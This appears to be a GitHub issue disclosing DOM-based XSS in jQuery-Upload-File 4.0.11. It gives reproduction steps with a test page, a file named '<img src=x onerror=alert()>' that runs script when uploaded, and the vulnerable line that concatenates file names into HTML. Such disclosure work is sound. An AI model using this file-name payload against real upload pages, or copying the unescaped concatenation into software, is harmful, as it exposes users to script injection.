DOM-XSS via document name #209
Description
jQuery-Upload-File 4.0.11 has multiple DOM-based XSS vulnerabilities that are executed when a user uploads a file whose name contains Javascript.
UPLOAD HISTORY
Steps to reproduce:
- Create a test.html file with the following content
<html>
<link href="http://hayageek.github.io/jQuery-Upload-File/4.0.11/uploadfile.css" rel="stylesheet">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script src="http://hayageek.github.io/jQuery-Upload-File/4.0.11/jquery.uploadfile.min.js"></script>
<div id="fileuploader">Upload</div>
<script>
$(document).ready(function()
{
$("#fileuploader").uploadFile({
url:"YOUR_FILE_UPLOAD_URL",
fileName:"myfile"
});
});
</script>
</html>
- On a linux-based OS:
2a) Run the following command:touch '<img src=x onerror=alert()>'
2b) Open test.html in the browser and upload the file created in the step 2a).
The javascript code will be executed opening an alert.
Affected line: https://github.com/hayageek/jquery-upload-file/blob/master/js/jquery.uploadfile.js#L469
UPLOAD ERROR
Steps to reproduce:
- Download https://raw.githubusercontent.com/hayageek/jquery-upload-file/master/js/jquery.uploadfile.js
- Open the file and modify allowedTypes as follow allowedTypes: ".php",
- Create a test.html with the following content in the same directory where you downloaded jquery.uploadfile.js
<html>
<link href="http://hayageek.github.io/jQuery-Upload-File/4.0.11/uploadfile.css" rel="stylesheet">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script src="./jquery.uploadfile.js"></script>
<div id="fileuploader">Upload</div>
<script>
$(document).ready(function()
{
$("#fileuploader").uploadFile({
url:"",
fileName:"myfile",
});
});
</script>
</html>
- Create a file named
<img src=x onerror=alert()> - Opent test.html in a browser and try to upload the file created at point 4). An error message will be showed and the javascript code is executed.
The vulnerability in the example is located at https://github.com/hayageek/jquery-upload-file/blob/master/js/jquery.uploadfile.js#L426. Also there are other occurrencies, as you can see the file name is concatenated directly in the html element.
if(s.showError) $("<div class='" + s.errorClass + "'><b>" + files[i].name + "</b> " + s.extErrorStr + s.allowedTypes + "</div>").appendTo(obj.errorLog);